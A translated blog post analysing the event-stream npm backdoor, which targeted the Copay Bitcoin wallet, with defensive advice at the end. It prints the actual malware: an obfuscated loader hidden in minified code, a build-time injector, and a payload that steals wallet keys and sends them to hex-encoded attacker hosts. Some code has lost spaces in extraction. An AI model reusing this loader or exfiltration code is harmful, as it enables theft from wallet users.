We explain backdoor in event-stream

Original author: Zach Schneider
  • Transfer

If you are working with Javascript, then most likely you have noticed a lot of noise about the vulnerability in the npm event-stream package . ( On Habré also posted a post about it - per. ) Unfortunately, a detailed analysis of the situation is buried under more than 600 comments in an issue on Github , most of which are about the npm flame, open-source in general, etc. I thought it was bad, because the backdoor is really extremely smart and interesting from a technical point of view, and also teaches us an important lesson about how to maintain security in Javascript applications. So I decided to write a post with a detailed explanation of how this attack worked and what the Javascript community can do to better protect against such attacks in the future.


Before I begin, I want to thank FallingSnow , maths22 , and joepie91 for their excellent investigation. They did all the hard work of analyzing vulnerability and finding out what it does. Hereinafter, I will quote their results with an indication of authorship, but I think that it is worth explicitly indicating that I did not do all this work myself. I only summarize what others have figured out.


Prehistory


event-stream is a popular npm-module that contains utilities for working with data streams within the node.js application. Now it is downloaded more than 1.9 million times daily. However, he has not been in active development for several years. Its author, Dominic Tarr , supports a large number of other projects and no longer uses this module in personal projects, so he was overlooked.


Around the middle of September, a certain user with the nickname right9ctrl (the GitHub account is now deleted) offered to take the support of the module. Dominic agreed and gave right9ctrl access rights to Github and npm. The history of commits looks harmless at first glance:



Screenshot of the history of commits in event-stream on Github


September 9 right9ctrl added a new moduleflatmap-stream according to implement the functionality flatmapfor the event-stream(quite appropriate decision, as event-stream already had a similar utility, such as the default map). Then, on September 16, right9ctrl removed the dependencyflatmap-stream and implemented the method flatmapdirectly. And again, nothing is disturbing, it is not unusual to add a new dependency, and then after a few days decide that it will be better to implement the same thing yourself.


Attack


The flatmap-stream library also looks harmless - in fact, it contains a flat map implementation for data streams (although something should be alerted - the library has only one contributor and no downloads from npm up to this point).



Screenshot of flatmap-stream page on GitHub


However, the version of this module, published in npm, contained additional code in the minified file, which you may well not notice, even knowing that it is there:


var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};functionw(r,e){var t=c+1;if(e===t?(void0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];returndelete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}functionp(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}functionb(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}functionv(r){if(u=!0,i.writable=!1,void0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)thrownewError("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;functione(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=newmodule.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

The malicious part is here at the end, and it was specially obfuscated to avoid detection:


!function(){try{var r=require,t=process;functione(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=newmodule.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

In an issue on Github, FallingSnow restored the source code of the bookmark and showed what was happening there:


// var r = require, t = process;// function e(r) {//     return Buffer.from(r, "hex").toString()// }functiondecode(data) {
    return Buffer.from(data, "hex").toString()
}
// var n = r(e("2e2f746573742f64617461")),// var n = require(decode("2e2f746573742f64617461"))// var n = require('./test/data')var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
// o = t[e(n[3])][e(n[4])];// npm_package_description = process[decode(n[3])][decode(n[4])];
npm_package_description = process['env']['npm_package_description'];
// if (!o) return;if (!npm_package_description) return;
// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),
// a = u.update(n[0], e(n[8]), e(n[9]));// decoded = decipher.update(n[0], e(n[8]), e(n[9]));
decoded = decipher.update(n[0], 'hex', 'utf8');
console.log(n); // IDK why this is here...// a += u.final(e(n[9]));
decoded += decipher.final('utf8');
// var f = new module.constructor;var newModule = newmodule.constructor;
/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/// f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])// newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])// newModule.paths = module.paths// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)// newModule.exports(n[1])

So, the code loads the file ./test/data.js, which was also embedded in the published version in npm despite the lack of source code on GitHub. This file contains an array of strings encrypted with AES256. The environment variable npm_package_descriptionis set by the npm command when the code is executed in the context of a certain package, that is, the root package, including the event-stream -> flatmap-stream dependency chain, will be used to set npm_package_description(and other similar variables). ( Note: in other words, the description from the package.json file of your project in which you executed this command will be used ). Thus, the code decrypts the contents test/data.jsusing npm_package_descriptionas the key, and then tries to execute the result.


For the vast majority of packets, this will lead to an error (which malicious code silently catches and ignores), since their description is not the correct key for the AES256 cipher and the result of decryption will be nonsense. This is a very targeted attack on one particular packet. maths22 and some other users downloaded a list of npm-modules that depend on the event-stream, and looking through the descriptions of these modules, they picked up the correct key and found the target package: it was a copay-dash platform for Bitcoin wallets. His description, "A Secure Bitcoin Wallet", successfully decrypts the content test/data.js, showing the following code (kindly provided by joepie91 ):


/*@@*/module.exports = function(e) {
    try {
        if (!/build\:.*\-release/.test(process.argv[2])) return;
        var t = process.env.npm_package_description,
            r = require("fs"),
            i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
            n = r.statSync(i),
            c = r.readFileSync(i, "utf8"),
            o = require("crypto").createDecipher("aes256", t),
            s = o.update(e, "hex", "utf8");
        s = "\n" + (s += o.final("utf8"));
        var a = c.indexOf("\n/*@@*/");
        0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
            try {
                r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
            } catch (e) {}
        })
    } catch (e) {}
};

This code launches another level of decryption, which opens the final malicious script:


/*@@*/ ! function() {
    functione() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";
            functioni(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(n), r.end()
            }
            functionr(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }
            functionl(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create: !1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            global.CSSMap = {}, l("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
}();

As you might have guessed, this script is trying to steal your bitcoin wallet and upload its data to the attacker's server.


Updated: the npm team released its official incident report , which explained that the malicious code was intended to run in the Copay release process in order to inject a bitcoin-stealing script into the application code of the Copay wallet.


So let's summarize


  • The popular bitcoin platform copay-dashuses event-stream dependency.
  • In September, for about a week, event-stream contained a flatmap-stream dependency, since the project was transferred to a new developer, who added the dependency and deleted it a week later.
  • flatmap-stream contained a hidden fragment at the end of the minified code that tried to decode the lines from the file test/data.js, using the root package description as the AES256 key.
  • For any regular package, this caused an error (since the package description was the wrong key), which was quietly processed. But for copay-dash, decryption produced valid JavaScript, which started another decryption stage and executed a malicious script that steals your bitcoin wallet.

What now?


It was a surprisingly tricky attack, strongly reminiscent of the January post , with a description of a similar hypothetical attack. The attacker skillfully covered his tracks - the code and history of commits on Github show a harmless and unsuspecting situation (the new developer joins the project, adds a feature, and then slightly changes its implementation). In addition to suspicious signs in flatmap-stream (new package, no contributors and download statistics), the attack turned out to be almost imperceptible. And in fact, it was not detected for 2 months and was found only now, because the attacker made a small mistake using the outdated method crypto.createDecipherinstead ofcrypto.createDecipheriv, which caused a suspicious message about using an obsolete method in another library that uses event-stream.


Unfortunately, this type of attack will not leave us in the near future. JavaScript is the most popular language at the moment, which means it will remain an attractive target for hackers. JavaScript also has relatively little functionality in the standard library compared to other languages, which forces developers to use packages from npm — along with other cultural factors, this leads to the fact that JavaScript projects usually have a huge dependency tree.


It is worth noting that although JavaScript applications are more susceptible to this class of vulnerabilities, this is not necessarily the reason that JavaScript is less secure in general. JavaScript is usually used by more active developers who are trying to be on the tide of progress, that is, their users install more packages and updates, including security fixes. At the same time, Equifax's Java application was hacked for the exact opposite reason - they did not install security updates for Apache Strutsfor months. This type of vulnerability is less likely in JavaScript applications. In the end, when choosing a technology stack for a company, there is always a security issue. An important lesson will be understanding possible attack scenarios for your particular solution and the ability to foresee them.


What does this mean for the JavaScript stack? There is no shortage of ideas and suggestions on how npm or other communities could prevent such attacks. But for end users, there are at least two basic steps to reduce their risks:


  • Use lock-files . It doesn’t matter whether it is yarn.lock or package-lock.json, any lock-file ensures that you get the same version of the package every time you install it, that is, if you are safe today, you will stay the same tomorrow. Applications that practice floating dependencies without using lock-files are especially vulnerable to malicious updates, because they automatically install the latest available version of dependencies, that is, you can be compromised at every delay after one of your dependencies has been compromised and published. version with a vulnerability. With lock-files, you at least limit your risks to manual actions of developers who add and update packages, which can be re-checked by code review or other company policies.


  • Think before you put something.. As shown above, this is not a panacea, hackers can still slip through the bookmarks in the minified code that are hard to find, even if you know that they are there. But not less, you will be able to reduce your risks if you stick to popular and actively supported packages. Before installing a new addiction, first ask yourself if you really need or need it. If you already know how to write code, and it will not take more than a dozen lines, just write it yourself. If you still need a dependency, evaluate it before installing. How many downloads does she have to npm? Does the repository on Github look actively updated? Has the package been recently updated? If not, think about the possibility to fork and use it. This will reduce the risks, because you will not be exposed to future dangerous updates,



Also popular now: